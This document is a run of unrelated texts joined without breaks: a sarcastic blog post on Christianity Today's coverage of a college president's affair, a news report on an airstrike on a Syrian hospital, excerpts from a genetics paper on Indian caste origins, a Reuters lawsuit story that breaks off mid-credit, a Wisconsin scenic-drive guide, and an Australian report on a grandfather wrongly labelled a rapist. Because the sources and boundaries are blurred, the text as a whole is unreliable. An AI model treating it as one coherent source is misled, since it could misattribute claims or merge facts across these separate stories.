Ah. This stalwart conservative man’s adultery, you see, is linked somehow to the debate over “sexual ethics standards” that those nefarious liberals have forced upon us all. That debate is the context for this man’s affair — perhaps even the cause of it.
This strange context-setting subhed is wholly unexplained by anything in the first 27 paragraphs of this story — wholly unsupported by anything in the actual story itself. But if you skip all the way to the bottom, you’ll find this odd appendix tacked on:
Thanks to those evil liberals at Eastern Mennonite and Goshen College, none of us is safe — not even at some obscure Southern Baptist institution tucked away in South Carolina. These liberals have created a disturbance in the Force. By questioning the “sexual ethics standards” that anchor our faith, they’ve put everything up for “debate.” Now, because of them, all that was once solid is melting into the air.
This is why, as social conservatives have been telling us for decades now, same-sex marriage can’t be thought of as a simple matter of live-and-let-live equality under the law — something that neither picks our pockets nor breaks our legs. Here is the evidence that same-sex marriage threatens to destroy every existing Christian marriage between one man and one woman. This poor college president was innocently going about his good Christian life there at North Greenville when suddenly he was swept away by the powerful current created by those same-sex marriage condoning Anabaptist liberals. They put his marriage up for “debate,” you see, and now his marriage has been destroyed and it’s all their fault.
And this could happen to any of us now if these liberals are not stopped.
Who can blame Union University President Sam Oliver for fleeing the CCCU? He’s not just trying to protect his institution from association with those Mennonite infidels, he’s trying to protect his own marriage and his own family. Oliver, like the headline writers at Christianity Today, recognizes that any failure to expeditiously “farewell” such infidels will inexorably lead to his own son eventually videotaping him in flagrante delicto with someone other than his own wife — perhaps even with another man, because legitimizing “debate” over sexual ethics standards untethers everything, our sexual orientations as well as our ability to remain faithful to our spouses.**
You may be thinking that there could be some other way of linking the administrative upheaval at North Greenville to the larger debate between the social conservatives of the CCCU and those liberal outliers at Eastern Mennonite and Goshen. You might even think that those liberal schools’ choice to affirm the faithful same-sex marriage commitments of its staff and faculty somehow honors marriage in a way that the hypocrisy of Southern Baptists lying about their leaders’ adultery fails to do. You might even think this evidence of alleged hypocrisy by the self-appointed bearers of “sexual ethics standards” undermines the hyperbolic claims of people like Union’s Oliver.
But, according to Christianity Today, that’s just crazy talk. That kind of thinking just reinforces the pernicious ripples of debate emanated by the dangerous liberals of Eastern Mennonite and Goshen. And as long as such “debate” is allowed to continue, then we can expect even more stories like this sad affair from North Greenville — stories of good, godly, conservative men swept away from their faithful marriages by the ungodly currents of liberalism.
* A publication that believes gay and lesbian couples are “destructive to society.”
Feb. 15, 2016, 10:10 AM GMT / Updated Feb. 15, 2016, 6:52 PM GMT By Cassandra Vinograd
At least seven people were killed Monday after what Doctors Without Borders called a "deliberate" airstrike on one of the hospitals they support in Syria.
The aid group, also known as MSF, said eight staff members were missing and presumed dead following the aerial assault on the facility in Idlib province's town of Maaret al-Numan.
Five patients, a caretaker and a guard were among the dead, MSF added. Other patients were still missing, but their numbers were not currently known, the group said.
"This appears to be a deliberate attack on a health structure," the group's head of mission, Massimiliano Rebaudengo, said in a statement. "We condemn this attack in the strongest possible terms."
The hospital — which had 54 staff, two operating theaters, an outpatient department and an emergency room — was reportedly hit by four missiles in two attacks within a few minutes of each other, according to MSF.
MSF did not suggest who may have been behind the attack, although the Britain-based Syrian Observatory for Human Rights blamed Russian warplanes.
The State Department blamed the despotic Bashar Assad regime and his Russian backers for the carnage.
"That the Assad regime and its supporters would continue these attacks, without cause and without sufficient regard for international obligations to safeguard innocent lives, flies in the face of the unanimous calls" by the International Syria Support Group to protect civilians, State Department spokesman John Kirby said in a statement.
A hospital supported by Doctors Without Borders has been destroyed by an airstrike in northern Syrian, the aid organization said Monday. MSF International
Alaaeddin Alzaeem went to help with the rescue efforts after rockets hit the hospital for women and children in Azaz city.
"It's broken in the hospital — everything," he told NBC News by Skype.
He, too, blamed Russian warplanes for dropping the rockets Monday.
"The streets, all, it's empty because Russians target Azaz," he said. "Russia and the regime killing us every day, and nobody do anything."
Moscow says its airstrikes in Syria target terrorist groups — including ISIS — but Western officials have accused Russia of launching strikes in support of Syrian government forces.
Amnesty International said Monday's airstrikes were "just the latest" in "scores of apparently deliberate attacks" on hospitals and medical facilities.
Previous genetic studies of Indian castes have failed to achieve a consensus on Indian origins and affinities. Various results have supported closer affinity of Indian castes either with Europeans or with Asians, and several factors underlie this inconsistency. First, erratic or limited sampling of populations has limited inferences about the relationships between caste and continental populations (i.e., Africans, Asians, Europeans). These relationships are further confounded by the wide geographic dispersal of caste populations. Genetic affinities among caste populations are, in part, inversely correlated with the geographic distance between them ( Malhotra and Vasulu 1993 ), and it is likely that affinities between caste and continental populations are also geographically dependent (e.g., different between North and South Indian caste populations). Second, it has been suggested that castes of different rank may have originated from or admixed with different continental groups ( Majumder and Mukherjee 1993 ). Third, the size of caste populations varies widely, and the effects of genetic drift on some small, geographically isolated castes may have been substantial. Fourth, most of the polymorphisms assayed over the last 30 years are indirect measurements of genetic variation (e.g., ABO typing), have been sampled from only a few loci, and may not be selectively neutral. Finally, only rarely have systematic comparisons been made with continental populations using a large, uniform set of DNA polymorphisms ( Majumder 1999 ).
Shared Indo-European languages (i.e., Hindi and most European languages) suggested to linguists of the nineteenth and twentieth centuries that contemporary Hindu Indians are descendants of primarily West Eurasians who migrated from Europe, the Near East, Anatolia, and the Caucasus 3000–8000 years ago ( Poliakov 1974 ; Renfrew 1989a , b ). These nomadic migrants may have consolidated their power by admixing with native Dravidic-speaking (e.g., Telugu) proto-Asian populations who controlled regional access to land, labor, and resources ( Cavalli-Sforza et al. 1994 ), and subsequently established the Hindu caste hierarchy to legitimize and maintain this power ( Poliakov 1974 ; Cavalli-Sforza et al. 1994 ). It is plausible that these West Eurasian immigrants also appointed themselves to predominantly castes of higher rank. However, archaeological evidence of the diffusion of material culture from Western Eurasia into India has been limited ( Shaffer 1982 ). Therefore, information on the genetic relationships of Indians to Europeans and Asians could contribute substantially to understanding the origins of Indian populations.
Because historical evidence suggests greater affinity between upper castes and Europeans than between lower castes and Europeans ( Balakrishnan 1978 , 1982 ; Cavalli-Sforza et al. 1994 ), it is appropriate to use a one-tailed test of the difference between the corresponding genetic distances. The 90% confidence limits of Nei's standard distances estimated between upper castes and Europeans (0.006–0.016) versus lower castes and Europeans (0.017–0.037) do not overlap, indicating statistical significance at the 0.05 level. Significance at 0.05 is not achieved if the Kshatriya and Vysya are excluded. These results offer statistical support for differences in the genetic affinity of Europeans to caste populations of differing rank, with greater European affinity to upper castes than to lower castes.
Genotypic differentiation was significantly different from zero (p < 0.0001) between each pair of caste populations and between each caste and continental population. Similar to the results of both the mtDNA and Y-chromosome analyses, the distance between upper castes and European populations is smaller than the distance between lower castes and Europeans (Table ). However, in contrast to the mtDNA results but similar to the Y-chromosome results, the affinity between upper castes and Europeans is higher than that of upper castes and Asians (Table ). If the Kshatriya and Vysya are excluded from the analysis or included in the middle castes, the genetic distance between the upper caste (Brahmins) and Europeans remains smaller than the distance between the lower castes and Europeans and the distance between upper castes and Asians (Table ). Analysis of each caste separately reveals that the genetic distance between the Brahmins and Europeans (0.013) is less than the distance between Europeans and Kshatryia (0.030) or Vysya (0.020). Nevertheless, each separate upper caste is more similar to Europeans than to Asians.
Genetic distances estimated from autosomal Alu elements correspond to caste rank, the genetic distance between the upper and lower castes being more than 2.5 times larger than the distance between upper and middle or middle and lower castes (upper to middle, 0.0069; upper to lower, 0.018; middle to lower, 0.0071). These trends are the same whether the Kshatriya and Vysya are included in the upper castes, the middle castes, or excluded from the analysis (data not shown). Furthermore, a neighbor-joining network of genetic distances between separate castes (Fig. ) clearly differentiates castes of different rank into separate clusters. This is similar to the relationship between genetic distances and caste rank estimated from mtDNA ( Bamshad et al. 1998 ). It is important to note, however, that the autosomal genetic distances are estimated from 40 independent loci. This afforded us the opportunity to test the statistical significance of the correspondence between genetic distance and caste status. The Mantel correlation between interindividual genetic distances and distances based on social rank was low but highly significant for individuals ranked into upper, middle, and lower groups (r = 0.08; p < 0.001) and into eight separate castes (r = 0.07; p < 0.001). Given the resolving power of this autosomal dataset, we next tested whether we could reconcile the results of the analysis of mtDNA and Y-chromosome markers in castes and continental populations.
Overall, these results indicate that the affinities of Indians to continental populations varies according to caste rank and depends on whether mtDNA or Y-chromosome data are analyzed. However, conclusions drawn from these data are limited because mtDNA and the Y chromosome is each effectively a single haploid locus and is more sensitive to genetic drift, bottlenecks, and selective sweeps compared to autosomal loci. These limitations of our analysis can be overcome, in part, by analyzing a larger set of independent autosomal loci. Consequently, we assayed 1 LINE-1 and 39 unlinked Alu polymorphisms.
Genetic distances estimated from Y-chromosome biallelic polymorphisms differ significantly from zero (p < 0.05), and the patterns differ from the mtDNA results even more strikingly than the Y-chromosome STRs. For Y-chromosome biallelic polymorphism data, each caste group is more similar to Europeans (Table ), and as one moves from lower to middle to higher castes the genetic distance to Europeans diminishes progressively. This pattern is further accentuated by separating the European population into Northern, Southern, and Eastern Europeans; each caste group is most closely related to Eastern Europeans. Moreover, the genetic distance between upper castes and Eastern Europeans is approximately half the distance between Eastern Europeans and middle or lower castes. These results suggest that Indian Y chromosomes, particularly upper caste Y chromosomes, are more similar to European than to Asian Y chromosomes. This underscores the close affinities between Hindu Indian and Indo-European Y chromosomes based on a previously reported analysis of three Y-chromosome polymorphisms ( Quintana-Murci et al. 1999b ).
Genetic distances estimated from Y-chromosome STR polymorphisms differ significantly from zero (p < 0.001) and reveal a distinctly different pattern of population relationships (Table ). In contrast to the mtDNA distances, the Y-chromosome STR data do not demonstrate a closer affinity to Asians for each caste group. Upper castes are more similar to Europeans than to Asians, middle castes are equidistant from the two groups, and lower castes are most similar to Asians. The genetic distance between caste populations and Africans is progressively larger moving from lower to middle to upper caste groups (Table ).
The presence of the mtDNA restriction sites DdeI 10,394 and AluI 10,397 defines a haplogroup (a group of haplotypes that share some sequence variants), M, that was originally identified in populations that migrated from mainland Asia to Southeast Asia and Australia ( Ballinger et al. 1992 ; Chen et al. 1995 ; Passarino et al. 1996 ) and is found at much lower frequency in European and African populations. Most of the common haplotypes found in Telugu- and Hindi-speaking caste populations belong to haplogroup M (Table ) and do not differentiate into language-specific clusters in a phylogenetic reconstruction (Fig. ). Furthermore, these Indian haplogroup-M haplotypes are distinct from those found in other Asian populations (Fig. ) and indicate the existence of Indian-specific subsets of haplogroup M (e.g., M3). As expected if the lower castes are more similar to Asians than to Europeans, and the upper castes are more similar to Europeans than to Asians, the frequencies of M and M3 haplotypes are inversely proportional to caste rank (Table ).
Conventional estimates of the standard errors of genetic distances assume that polymorphic sites are independent of each other, that is, unlinked. Because mtDNA polymorphisms are in complete linkage disequilibrium (as are polymorphisms on the nonrecombining portions of the Y chromosome), this assumption is violated. Alternatively, the mtDNA genome can be treated as a single locus with multiple haplotypes. However, even if this assumption is made, mtDNA distances do not differ significantly from one another even at the level of the three major continental populations ( Nei and Livshits 1989 ), the standard errors being greater than the genetic distances. Considering that the distances between castes and continental populations are less than those between different continental populations, the estimated mtDNA genetic distances between upper castes and Europeans versus lower castes and Europeans would not be significantly different from each other. Therefore, to resolve further the relationships of Europeans and Asians to contemporary Indian populations, we defined the identities of specific mtDNA restriction-site haplotypes.
MtDNA HVR1 genetic distances between caste populations and Africans, Asians, and Europeans are significantly different from zero (p < 0.001) and reveal that, regardless of rank, each caste group is most closely related to Asians and is most dissimilar from Africans (Table ). The genetic distances from major continental populations (e.g., Europeans) differ among the three caste groups, and the comparison reveals an intriguing pattern. As one moves from lower to upper castes, the distance from Asians becomes progressively larger. The distance between Europeans and lower castes is larger than the distance between Europeans and upper castes, but the distance between Europeans and middle castes is smaller than the upper caste-European distance. These trends are the same whether the Kshatriya and Vysya are included in the upper castes, the middle castes, or excluded from the analysis. This may be owing, in part, to the small sample size (n = 10) of each of these castes. Among the upper castes the genetic distance between Brahmins and Europeans (0.10) is smaller than that between either the Kshatriya and Europeans (0.12) or the Vysya and Europeans (0.16). Assuming that contemporary Europeans reflect West Eurasian affinities, these data indicate that the amount of West Eurasian admixture with Indian populations may have been proportionate to caste rank.
DISCUSSION
Previous genetic studies have found evidence to support either a European or an Asian origin of Indian caste populations, with occasional indications of admixture with African or proto-Australoid populations (Chen et al. 1995; Mountain et al. 1995; Bamshad et al. 1996, 1997; Majumder et al. 1999; Quintana-Murci et al. 1999a). Our results demonstrate that for biparentally inherited autosomal markers, genetic distances between upper, middle, and lower castes are significantly correlated with rank; upper castes are more similar to Europeans than to Asians; and upper castes are significantly more similar to Europeans than are lower castes. This result appears to be owing to the amalgamation of two different patterns of sex-specific genetic variation.
The majority of Indian mtDNA restriction-site haplotypes belong to Indian-specific subsets (e.g., M3) of a predominantly Asian haplogroup M, although a substantial minority of mtDNA restriction site haplotypes belong to West Eurasian haplogroups. A higher proportion of proto-Asian mtDNA restriction-site haplotypes is found in lower castes compared to middle or upper castes, whereas the frequency of West Eurasian haplotypes is positively correlated with caste rank, that is, is highest in the upper castes. For Y-chromosome STR variation the upper castes exhibit greatest similarity with Europeans, whereas the lower caste groups are most similar to Asians. For Y biallelic polymorphism variation, each caste group is more similar to Europeans than to Asians, and the affinity to Europeans is proportional to caste rank, that is, is highest in the upper castes.
Importantly, five different types of data (mtDNA HVR1 sequence, mtDNA RSPs, Y-chromosome STRs, Y-chromosome biallelic polymorphisms, and autosomal Alu polymorphisms) support the same general pattern: relatively smaller genetic distances from European populations as one moves from lower to middle to upper caste populations. Genetic distances from Asian populations become larger as one moves from lower to middle to upper caste populations. It is especially noteworthy that the analysis of Y biallelic polymorphisms, which involved an independent set of comparative Asian, European, and African populations, again indicated the same pattern. Additional support is offered by the fact that the autosomal polymorphisms yielded a statistically significant difference between the upper-caste–European and lower-caste–European genetic distances. With additional loci, other differences (e.g., the distances between different caste groups and Asians) may also reach statistical significance.
The most likely explanation for these findings, and the one most consistent with archaeological data, is that contemporary Hindu Indians are of proto-Asian origin with West Eurasian admixture. However, admixture with West Eurasian males was greater than admixture with West Eurasian females, resulting in a higher affinity to European Y chromosomes. This supports an earlier suggestion of Passarino et al. (1996), which was based on a comparison of mtDNA and blood group results. Furthermore, the degree of West Eurasian admixture was proportional to caste rank. This explanation is consistent with either the hypothesis that proportionately more West Eurasians became members of the upper castes at the inception of the caste hierarchy or that social stratification preceded the West Eurasian incursion and that West Eurasians tended to insert themselves into higher-ranking positions. One consequence is that shared Indo-European languages may not reflect a common origin of Europeans and most Indians, but rather underscores the transfer of language mediated by contact between West Eurasians and native proto-Indians.
West Eurasian admixture in Indian populations may have been the result of more than one wave of immigration into India. Kivisild et al. (1999) determined the coalescence (∼50,000 years before present) of the Indian-specific subset of the West Eurasian haplotypes (i.e., U2i) and suggested that West Eurasian admixture may have been much older than the purported Dravidian and Indo-European incursions. Our analysis of Indian mtDNA restriction-site haplotypes that do not belong to the U2i subset of West Eurasian haplotypes (i.e., H, I, J, K, T) is consistent with more recent West Eurasian admixture. It is also possible that haplotypes with an older coalescence were introduced by Dravidians, whereas haplotypes with a more recent coalescence belonged to Indo-Europeans. This hypothesis can be tested by a more detailed comparison to West Eurasian mtDNA haplotypes from Iran, Anatolia, and the Caucasus. Alternatively, the coalescence dates of these haplotypes may predate the entry of West Eurasians populations into India. Regardless of their origin, West Eurasian admixture resulted in rank-related differences in the genetic affinities of castes to Europeans and Asians. Furthermore, the frequency of West Eurasian haplotypes in the founding middle and upper castes may be underestimated because of the upward social mobility of women from lower castes (Bamshad et al. 1998). These women were presumably more likely to introduce proto-Asian mtDNA haplotypes into the middle and upper castes.
Our analysis of 40 autosomal markers indicates clearly that the upper castes have a higher affinity to Europeans than to Asians. The high affinity of caste Y chromosomes with those of Europeans suggests that the majority of immigrating West Eurasians may have been males. As might be expected if West Eurasian males appropriated the highest positions in the caste system, the upper caste group exhibits a lower genetic distance to Europeans than the middle or lower castes. This is underscored by the observation that the Kshatriya (an upper caste), whose members served as warriors, are closer to Europeans than any other caste (data not shown). Furthermore, the 32-bp deletion polymorphism in CC chemokine receptor 5, whose frequency peaks in populations of Eastern Europe, is found only in two Brahmin males (M. Bamshad and S.K. Ahuja, unpubl.). The stratification of Y-chromosome distances with Europeans could also be caused by male-specific gene flow among caste populations of different rank. However, we and others have demonstrated that there is little sharing of Y-chromosome haplotypes among castes of different rank (Bamshad et al. 1998; Bhattacharyya et al. 1999).
The affinity of caste populations to Europeans is more apparent for Y-chromosome biallelic polymorphisms than Y-chromosome STRs. This could be attributed to the use of different European populations in comparisons using STRs and biallelic polymorphisms. Alternatively, it may reflect, in part, the effects of high mutation rates for the Y-chromosome STRs, which would tend to obscure relationships between caste and continental populations. A lack of consistent clustering at the continental level has been observed in several studies of Y-chromosome STRs (Deka et al. 1996; Torroni et al. 1996; de Knijff et al. 1997). The autosomal Alu and biallelic Y-chromosome polymorphisms, in contrast, have a slower rate of drift than Y-chromosome STRs because of a higher effective population size, and their mutation rate is very low. Thus, the Y-chromosome biallelic polymorphisms and autosomal Alu markers may serve as more stable markers of worldwide population affinities.
Our analysis may help to explain why estimates of the affinities of caste groups to worldwide populations have varied so widely among different studies. Analyses of recent caste history based on only mtDNA or Y-chromosome polymorphisms clearly would suggest that castes are more closely related to Asians or to Europeans, respectively. Furthermore, we attempted to minimize the confounding effect of geographic differences between populations by sampling from a highly restricted region of South India. Because of the ubiquity of the caste system in India's history, it is reasonable to predict similar patterns in caste populations living in other areas. Indeed, any genetic result becomes more compelling when it is replicated in other populations. Therefore, comparable studies in caste populations from other regions of India must be completed to test the generality of these results.
The dispersal and subsequent growth of Indian populations since the Neolithic Age is one of the most important events to shape the history of South Asia. However, the origin and dispersal route of the aboriginal inhabitants of the Indian subcontinent is unclear. Our findings suggest a proto-Asian origin of the Indian-specific haplogroup-M haplotypes. Haplogroup-M haplotypes are also found at appreciable frequencies in some East African populations— ∼18% of Ethiopians (Quintana-Murci et al. 1999a) and 16% of Kenyans (M. Bamshad and L.B. Jonde, unpubl.). A comparison of haplogroup-M haplotypes from East Africa and India has suggested that this southern route may have been one of the original dispersal pathways of anatomically modern humans out of Africa (Quintana-Murci et al. 1999a). Together, these data support our previous suggestion (Kivisild et al. 1999) that India may have been inhabited by at least two successive late Pleistocene migrations, consistent with the hypothesis of Lahr and Foley (1994). It also adds to the growing evidence that the subcontinent of India has been a major corridor for the migration of people between Africa, Western Asia, and Southeast Asia (Cavalli-Sforza et al. 1994).
Dec 2 (Reuters) - A Michigan woman has sued the U.S.
Catholic bishops, arguing that a Catholic hospital in Michigan
denied her adequate treatment during a painful miscarriage
because of a policy banning even the discussion of abortion as
an option.
Tamesha Means said she went to a Catholic hospital in
Muskegon, Michigan, the only hospital within 30 minutes of her
home, when her water broke in December 2010 after only 18 weeks
of pregnancy, according to the lawsuit filed Friday in Detroit
federal court.
Despite her being in excruciating pain and with virtually no
chance her pregnancy could survive, Mercy Health Partners told
Means there was nothing it could do and did not tell Means that
terminating her pregnancy was an option and the safest course
for her condition, the lawsuit said.
The lawsuit accuses the United States Conference of Catholic
Bishops of creating health care directives "that cause pregnant
women who are suffering from a miscarriage to be denied
appropriate medical care, including information about their
condition and treatment options."
About 15 percent of the 800,000 beds in the U.S. are in a
Catholic hospital, according to the Catholic Health Association.
In those hospitals, medical professionals must comply with the
bishops' directives, which prohibit suggesting or performing
abortions.
In complying with the directives, medical professionals at
the hospital failed to follow the standard of medical care,
which required them to provide Means with treatment, inform her
of her options and the risks associated with her condition, the
lawsuit said.
Don Clemmer, a spokesman for the U.S. Conference of Catholic
Bishops, the organization representing the Catholic hierachy in
the United States, said the organization would not comment on
the lawsuit at this time.
The American Civil Liberties Union is representing Means in
the lawsuit.
"They never offered me any options," Means said in a
statement released by the ACLU. "They didn't tell me what was
happening to my body. Whatever was going on with me, they
discussed it amongst themselves. I was just left to wonder,
what's going to happen to me?"
Means returned to the hospital a third time with an
infection. The ACLU said she began to deliver as the hospital
prepared again to send her home and she eventually miscarried.
In late 2010, Bishop Thomas Olmsted of Phoenix stripped the
Catholic designation from St. Joseph's Hospital there, after
doctors performed an emergency first-trimester abortion to save
the life of a pregnant woman who had perilously high blood
pressure.
(Reporting by Brendan O'Brien in Milwaukee; Editing by David
Scenic drives are as quintessentially fall as cider and pumpkins.
Especially in Wisconsin, where a drive almost anywhere brings a whir of red, orange, yellow and green.
Even as the trees become more bare moving into winter, a road trip is a great chance to see some of Wisconsin's unique topography that's usually obstructed by foliage.
Here are three drives worth considering if you're looking for a scenic getaway this fall.
Waterfall wonders
Link three stellar state parks packed with waterfalls on this drive through Wisconsin's Northwoods. This road trip is great no matter the season: fall brings changing leaves, winter brings smaller crowds and frozen cascades.
Start at Copper Falls State Park outside Mellen, where the park's namesake drops 30 feet over the black-red rock of the Bad River Gorge. The more robust Brownstone Falls is nearby at the confluence of the Bad River and the Tyler Forks, a tributary.
Brownstone Falls drops 30 feet along the Doughboys' Trail in Copper Falls State Park near Mellen. (Photo: Journal Sentinel files)
Both are made more dramatic by the sometimes 100-foot craggy cliffs of the gorge.
Note that the trail to access the falls is a nature trail, so pets are not allowed.
RELATED: Waterfalls, gorge, ancient lava flows make Copper Falls one of Wisconsin's most picturesque parks
From Mellen, head southwest along County Highway GG through the Chequamegon-Nicolet National Forest. In fall, you might hear the distant bugle of an elk. The animals are native to Wisconsin, but were extirpated by the late 1800s due to overhunting and changes to their habitat. In the '90s, they were reintroduced in the Clam Lake area and now number around 165.
Continue west through the forest along County Highway M and turn north on Highway 63 at Cable. In Drummond, turn north onto Forest Road 35 and head 10 miles north to the Delta Diner, a restored 1940 Silk City diner in the forest (open 8 a.m.-4 p.m. Tuesday-Sunday, 11 a.m. until burgers are gone or 7 p.m. Monday).
Enjoy inventive twists on diner classics, but don't linger too long: more waterfalls await to the west at Amnicon Falls State Park.
Follow County Highway H northwest to Iron River, then follow Highway 2 west.
There's a waterfall on every bend of the Amnicon River through this state park southeast of Superior. Trails and bridges let you get close to more than seven of them, including the namesake that tumbles above and below a picturesque covered bridge.
Amnicon's waterfalls are impressive for their quantity, but the waterfalls at Pattison State Park to the west have them beat on size.
Big Manitou Falls in Pattison State Park in Douglas County is Wisconsin's tallest waterfall at 165 feet. It's also the fourth highest waterfall east of the Rockies. (Photo: Journal Sentinel files)
From Amnicon Falls, signs will take you about 15 miles southwest to Pattison, home to the state's tallest cascade and the fourth highest waterfall east of the Rockies, Big Manitou Falls at 165 feet. A short walk leads to two observation areas that provide terrific views from both sides of the river.
The park is also home to Little Manitou Falls, a smaller waterfall at 31 feet but with trails that allow a closer look than Big Manitou.
You can hike between the two waterfalls — a 3-mile round-trip via the Beaver and Little Manitou Falls trails — or drive down Highway 35 and park at Little Manitou.
All three parks have campgrounds with sites open year-round. Superior also has lodging and dining options, including the Thirsty Pagan Brew Pub, where the pizza is complemented by a range of beers, including a number of superb sours.
Driftless drive
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Forested hills ablaze in the colors of autumn, towering bluffs framed by the changing leaves, historic towns — this road trip has it all.
From Madison, head west along Highway 18, then south on County Highway PB to tiny Paoli.
The town has a handful of galleries and quirky shops (CLUCK the Chicken Store, anyone?), plus a couple of dining options including the Paoli Schoolhouse Shops & Café.
Continue south on PB to Highway 69, then follow that west and south to New Glarus, where you'll find a town proud of its Swiss heritage and namesake beer. Sip the latter at New Glarus Brewing Co. perched on a hill south of town before heading south to Monroe.
Here in Green County (as with many other parts of Wisconsin), cheese reigns supreme. Pause for a taste of one of the county's most pungent offerings, Limburger, at Baumgartner's. Monroe's Chalet Cheese Company is the only place in the country that makes the stinky cheese.
CLOSE Bartenders at Baumgartner's in Monroe demonstrate how they add dollar bills to the bar and cheese shop's ceiling. Chelsey Lewis
Time is short and the best views of the drive are yet to come. From Monroe, follow Highway 11 west through a handful of small towns to Highway 61, then turn north toward Kieler.
The town marks the southern gateway to Wisconsin's segment of the Great River Road, a national scenic byway that hugs the Mississippi River for 250 miles north to Prescott.
Sometimes the road drifts inland, other times it snakes between the bluffs that line the mighty river, all while passing through more than 30 small towns with their own attractions.
The road bustles with traffic in the summer and fall, drawing leaf-peepers from Wisconsin, Iowa and Minnesota. Crowds die down in the winter, and some businesses do shut down for the season, so be sure to call ahead if you plan to visit in the off-season.
Following Highway 61 north to Highway 133 and turn west toward Potosi. There, stop to admire the world's largest cone-top beer can, a yellow Good Old Potosi beauty, before heading into the brewery for a more human-size one. The brewpub is adjacent to the National Brewery Museum, home to a large collection of brewing memorabilia and artifacts, including dozens of cone-top cans like the one outside.
From Potosi, continue following the Great River Road (Highway 133) north to Cassville. Divert off the road and onto County Highway VV to stretch your legs at Nelson Dewey State Park. The small state park offers stunning views of the river from observation areas on a few short hiking trails.
Buy Photo The Mississippi River flows beyond Nelson Dewey State Park outside Cassville. (Photo: Chelsey Lewis/Milwaukee Journal Sentinel)
Retrace your route back through Potosi to Dickeyville and pick up Highway 151 heading northeast.
The highway cuts through the bluffs of the area, revealing their layered, white insides.
Those rocks were shaped into homes and businesses in Mineral Point in the middle of the 19th century, and today the historic buildings house artist galleries, shops, restaurants and exhibits on the past at Pendarvis, a state historical site.
North of Mineral Point, follow Highway 23 north through Dodgeville to Governor Dodge State Park.
Drive through the forested hills of the large park, and stop to hike some of the trails. The short Stephens Falls trail is a good option and leads to a small, 20-foot waterfall. The trail is paved and accessible to an overlook above the cascade, where rustic stairs lead to its base.
Buy Photo Stephens Falls tumbles 20 feet over a rock face at Governor Dodge State Park outside Dodgeville. (Photo: Chelsey Lewis/Milwaukee Journal Sentinel)
There's one more park on the agenda, so continue east on Highway 151 to Blue Mounds. Drive up the hill into Blue Mound State Park to climb its two observation towers for views from the highest point in southern Wisconsin.
Lake Michigan
The ocean-like expanse of Lake Michigan serves as a dramatic backdrop for a scenic drive.
The Lake Michigan Circle Tour is as it sounds: a 1,100-mile drive around the Lake Michigan shoreline.
In Wisconsin, the route takes you through Milwaukee, Sheboygan and Manitowoc on its way up to Green Bay and the Door County peninsula, then up into Michigan's Upper Peninsula.
Combine a modified circle tour along the lake with a drive back to Milwaukee through the Kettle Moraine for a nice fall road trip.
From Milwaukee, the official tour route follows I-43 to Grafton, then Highway 32 to Port Washington where the route rejoins I-43.
North of town, divert off the interstate onto County Highway D to visit Harrington Beach State Park in Belgium. Hike along one mile of Lake Michigan shoreline, or stroll through the changing leaves around Quarry Lake.
Buy Photo The beach is a favorite photo spot at Harrington Beach State Park in Belgium. (Photo: Chelsey Lewis / Milwaukee Journal Sentinel)
Back on I-43, continue north to Sheboygan, where the tour follows Highways 28 and 42 through the town.
You could hop back on the interstate, or follow Lakeshore Road for a more scenic and leisurely drive north to Manitowoc and Two Rivers.
The two towns are linked by a great bike trail right on the lake, the 6-mile Maritime Trail.
A short jaunt through city streets in Two Rivers will bring you to Point Beach State Forest, which boasts 6 miles of sandy Lake Michigan shoreline.
The park also has a working lighthouse (no tours), and 11 miles of hiking trails through a forested ridges and swales topography, including five miles of the Ice Age Trail.
Buy Photo The Rawley Point Lighthouse at Point Beach State Forest was built in 1894 and is the oldest octagonal skeletal lighthouse on the Great Lakes. (Photo: Chelsey Lewis/Milwaukee Journal Sentinel)
Look for the golden hue of the tamarack on one of the swales (low points) late in the fall. Tamaracks masquerade as evergreens but are actually a coniferous tree with needle-like leaves that change and drop in the fall.
Buy Photo It's 266 steps up the hill to the Parnell Tower, then another 96 up the tower for panoramic views of the surrounding Kettle Moraine State Forest. (Photo: Chelsey Lewis / Milwaukee Journal Sentinel)
From Manitowoc, head back to Milwaukee via a more inland route, first along Highway 151 then Highway 67 through Elkhart Lake, Plymouth and the Kettle Moraine State Forest's northern unit.
At the northern end of the forest, stop at the Parnell Tower off County Highway A, which is also part of the Kettle Moraine Scenic Drive.
A short hike leads to the observation tower, which offers terrific views of the surrounding forest from above. The tower also has an access trail to the Ice Age Trail for more hiking.
On the Road: 16 road trips through Wisconsin's 72 counties
The 64-year-old man was told by the department to prove he was not a rapist.
When he presented a certificate from the police service saying he did not have a criminal record and a DNA blood test showing he was not the father of his granddaughter, the department still refused to believe him.
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The man was banned from having contact with his nine-year-old granddaughter, and she was not allowed to stay with him and his wife for holidays, which she had done for the preceding eight years.
The grandfather repeatedly wrote to Child Safety Minister Phil Reeves, his local state MP and former attorney-general Kerry Shine, and the Parliamentary Ombudsman - all to no avail. When The Australian contacted Mr Reeves's office on Monday, it took just three hours to confirm the error and for a departmental officer to be ordered to contact the accused grandfather and apologise for the "inaccuracy recorded in the file".
The file contained details of a criminal with an identical surname and first initial, according to department officials.
The accusation of being an incest rapist was discovered by the grandfather last year when he sought access to his file under Right to Information legislation. One document, from August last year, alleged the girl "was a product of rape and the father/grandfather is now currently in prison".
The grandfather yesterday told The Australian he was "shattered" when he read the document and immediately questioned it with department officers but was told the file would not be altered.
He pointed out the obvious: he could not be the person in the document because he was sitting opposite them, not in prison.
"Finally the DCS complaints officer told me that I had to prove I was not a rapist and had not fathered my grandchild," he said yesterday, breaking down in tears.
"So I asked the police to detail my criminal history - there was no history of crime - and my wife and I sold our caravan to get the $800 to pay for a DNA test which showed I was not the father of my granddaughter."
"Yet despite having this evidence before them, until your newspaper contacted minister Reeves, nobody would do anything, and we were warned about going to the media."
The nightmare began when the grandfather sought kinship carer status for his daughter's two children. She had difficulty looking after them because she was the victim of domestic violence from a drug-addicted husband who is in prison for stealing.
The application by the grandparents was refused, with no reason given. Instead the two children were put in foster care for several months until their mother was again able to cope.
The mother of the children yesterday told The Australian it was "abhorrent" to accuse her hard-working father of rape.
"What this department has done to my parents is indescribable," the mother said.
Yesterday Toowoomba police held the grandfather in the watchhouse for 30 minutes after saying they had received a complaint from his DCS case officer, Nicole Steele, alleging that he had threatened her in a telephone conversation with other staff.
"I made no threats and I refused to give a statement, so they let me go," the grandfather said.
"The apology given to me by the department meant nothing. Why didn't it come a year ago - and what about all the money it has cost me in telephone calls and running around. The least they could do is refund the $800 it cost for the DNA test."
A statement released yesterday, said Department of Communities acting director-general Bette Kill "has apologised to the person in this case for an inaccuracy recorded in his file".
"The department will undertake a review of the file and confidential information handling procedures to ensure an issue such as this does not happen again," the statement said.
